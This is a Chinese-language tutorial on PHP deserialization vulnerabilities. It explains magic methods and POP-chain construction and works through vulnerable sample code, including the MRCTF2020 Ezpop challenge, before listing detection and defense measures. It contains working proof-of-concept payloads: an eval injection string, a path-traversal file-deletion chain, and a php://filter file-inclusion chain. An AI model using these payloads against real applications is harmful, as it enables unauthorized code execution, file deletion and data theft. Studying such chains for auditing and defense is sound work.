反序列化漏洞详解
字数 1256 2025-08-06 08:35:22
反序列化漏洞详解
一、基础概念
1. 序列化与反序列化
序列化:将对象转换为字节序列的过程,以便存储或传输。在PHP中,使用serialize()函数实现。
反序列化:将字节序列恢复为对象的过程。在PHP中,使用unserialize()函数实现。
2. 魔术方法
PHP中的魔术方法会在特定操作时自动调用,与反序列化相关的主要有:
__construct():对象创建时触发__destruct():对象销毁时触发__wakeup():使用unserialize()时触发__toString():对象被当作字符串使用时触发__invoke():对象被当作函数调用时触发__get():从不可访问属性读取数据时触发__set():向不可访问属性写入数据时触发
二、漏洞原理
反序列化漏洞产生的条件:
- 存在
unserialize()操作且参数用户可控 - 魔术方法中存在敏感操作(如
eval()、system()等) - 敏感操作的参数可通过反序列化控制
三、漏洞实例分析
简单示例
class test{
var $id = 'Baize';
function __wakeup(){
eval($this->id);
}
}
$test1 = $_GET['string'];
$test2 = unserialize($test1);
利用方式:
构造序列化字符串:
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}
实例解析1:文件删除漏洞
代码结构:
class Test1{
protected $obj;
function __construct(){$this->obj = new Test3;}
function __toString(){return $this->obj->Delete();}
}
class Test2{
public $cache_file;
function Delete(){
$file = "/var/www/html/cache/tmp/{$this->cache_file}";
if(file_exists($file)){@unlink($file);}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){return 'I am a safe Delete function';}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
POP链构造:
- 通过
echo触发Test1的__toString() __toString()调用$this->obj->Delete()- 通过构造使
$this->obj指向Test2实例 - 调用
Test2的Delete()实现文件删除
利用POC:
class Test1{
protected $obj;
function __construct(){$this->obj = new Test2;}
}
class Test2{
public $cache_file = '../../../../test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
实例解析2:[MRCTF2020]Ezpop
代码结构:
class Modifier {
protected $var;
function append($value){include($value);}
function __invoke(){$this->append($this->var);}
}
class Show{
public $source, $str;
function __construct($file='index.php'){$this->source = $file;}
function __toString(){return $this->str->source;}
function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
$this->source = "index.php";
}
}
}
class Test{
public $p;
function __construct(){$this->p = array();}
function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){@unserialize($_GET['pop']);}
POP链构造:
- 通过
unserialize()触发Show的__wakeup() __wakeup()中的preg_match()将$this->source转为字符串,触发__toString()__toString()尝试访问$this->str->source,若$this->str是Test实例且source不存在,触发__get()__get()将$this->p作为函数调用,若$this->p是Modifier实例,触发__invoke()__invoke()调用append()实现文件包含
利用POC:
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source, $str;
function __construct($file){$this->source = $file;}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
四、漏洞检测与防御
检测方法
- 审计源码寻找
unserialize()操作 - 检查参数是否用户可控
- 分析魔术方法中的敏感操作
- 寻找可利用的POP链
防御措施
- 避免反序列化用户可控数据
- 使用白名单验证反序列化数据
- 对敏感操作进行严格过滤
- 使用
__wakeup()或__destruct()进行安全检查 - 使用PHP 7的
allowed_classes选项限制可反序列化的类
五、总结
反序列化漏洞的核心在于利用对象属性可控和魔术方法的自动调用机制,通过精心构造的POP链实现敏感操作。理解魔术方法的触发条件和类之间的调用关系是分析和利用此类漏洞的关键。